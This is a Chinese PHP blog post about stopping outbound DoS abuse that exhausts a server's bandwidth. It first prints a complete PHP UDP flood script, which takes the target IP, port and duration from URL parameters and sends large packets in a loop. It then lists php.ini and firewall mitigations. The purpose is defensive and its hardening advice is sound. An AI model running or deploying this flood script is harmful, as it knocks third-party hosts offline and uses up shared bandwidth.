防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
php桌面中心(三) 修改数据库
Mar 11 PHP
PHP分页显示制作详细讲解
Nov 19 PHP
使用php判断浏览器的类型和语言的函数代码
Feb 28 PHP
如何批量替换相对地址为绝对地址(利用bat批处理实现)
May 27 PHP
PHP中使用break跳出多重循环代码实例
Jan 21 PHP
php使用gettimeofday函数返回当前时间并存放在关联数组里
Mar 19 PHP
php冒泡排序与快速排序实例详解
Dec 07 PHP
PHP+MySQL统计该库中每个表的记录数并按递减顺序排列的方法
Feb 15 PHP
使用php从身份证号中获取一系列线索(星座、生肖、生日等)
May 11 PHP
php从数据库中获取数据用ajax传送到前台的方法
Aug 20 PHP
Laravel框架Request、Response及Session操作示例
May 06 PHP
关于PhpStorm设置点击编辑文件自动定位源文件的实现方式
Dec 30 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
php discuz 主题表和回帖表的设计
2009/03/13 PHP
php通过执行CutyCapt命令实现网页截图的方法
2016/09/30 PHP
php layui实现前端多图上传实例
2019/07/30 PHP
javascript 特性检测并非浏览器检测
2010/01/15 Javascript
jquery中dom操作和事件的实例学习 仿yahoo邮箱登录框的提示效果
2011/11/30 Javascript
asp.net刷新本页面的六种方法总结
2014/01/07 Javascript
js数组方法扩展实现数组统计函数
2014/04/09 Javascript
html+javascript+bootstrap实现层级多选框全层全选和多选功能
2017/03/09 Javascript
JS实现的点击表头排序功能示例
2017/03/27 Javascript
Node.JS循环删除非空文件夹及子目录下的所有文件
2018/03/12 Javascript
详解vue-cli 2.0配置文件(小结)
2019/01/14 Javascript
vue源码中的检测方法的实现
2019/09/26 Javascript
Vue混入mixins滚动触底的方法
2019/11/22 Javascript
[52:03]DOTA2-DPC中国联赛 正赛 Ehome vs iG BO3 第三场 1月31日
2021/03/11 DOTA
python list使用示例 list中找连续的数字
2014/01/27 Python
详解Python中的条件判断语句
2015/05/14 Python
浅谈python字典多键值及重复键值的使用
2016/11/04 Python
python条件变量之生产者与消费者操作实例分析
2017/03/22 Python
pandas.DataFrame的pivot()和unstack()实现行转列
2019/07/06 Python
Django实现WebSSH操作物理机或虚拟机的方法
2019/11/06 Python
详解Python中打乱列表顺序random.shuffle()的使用方法
2019/11/11 Python
Python中and和or如何使用
2020/05/28 Python
Django DRF路由与扩展功能的实现
2020/06/03 Python
浅谈matplotlib 绘制梯度下降求解过程
2020/07/12 Python
python关于倒排列的知识点总结
2020/10/13 Python
澳大利亚领先的睡衣品牌:Peter Alexander
2016/08/16 全球购物
美国领先的水果篮送货公司和新鲜水果供应商:The Fruit Company
2018/02/13 全球购物
Vuori官网:运动服装的终级表现
2021/01/27 全球购物
软件设计的目标是什么
2016/12/04 面试题
白酒市场开发计划书
2014/01/09 职场文书
员工安全责任书范本
2014/07/24 职场文书
社区精神文明建设汇报材料
2014/08/17 职场文书
走群众路线学习笔记
2014/11/06 职场文书
神农溪导游词
2015/02/11 职场文书
JavaScript文档对象模型DOM
2021/11/20 Javascript
修改Nginx配置返回指定content-type的方法
2022/09/23 Servers